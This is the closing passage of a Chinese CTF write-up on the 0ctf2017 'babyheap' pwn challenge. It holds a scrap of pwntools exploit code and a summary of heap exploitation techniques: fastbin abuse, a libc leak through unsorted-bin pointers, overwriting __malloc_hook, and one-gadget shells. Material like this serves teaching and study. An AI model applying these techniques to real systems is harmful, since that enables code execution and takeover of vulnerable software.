alloc(255) p.interactive()





0x06:知识点总结
需要有堆溢出
fastbin 单链表 FILO
fastchunk分配有检查,大小与index要匹配
small chunk被释放后,fd和bk指针指向unsorted bin的表头,这个地址在libc中,相对偏移固定,可利用泄漏fd中的内容来算出libc被加载的地址。
__malloc_hook ,它是一个弱类型的函数指针变量,指向 void * function(size_t size, void * caller) ,当调用 malloc()时,首先判断 hook函数指针是否为空,不为空则调用它。
one-gadget RCE 是在 libc 中存在的一些执行 execve('/bin/sh', NULL, NULL) 的片段。当我们知道 libc 的版本,并且可以通过信息泄露得到 libc 的基址,则可以通过执行该gadget来获得 shell。

【0ctf2017|0ctf2017 pwn babyheap】转载于:https://www.cnblogs.com/ha2ha2/p/9366443.html

    推荐阅读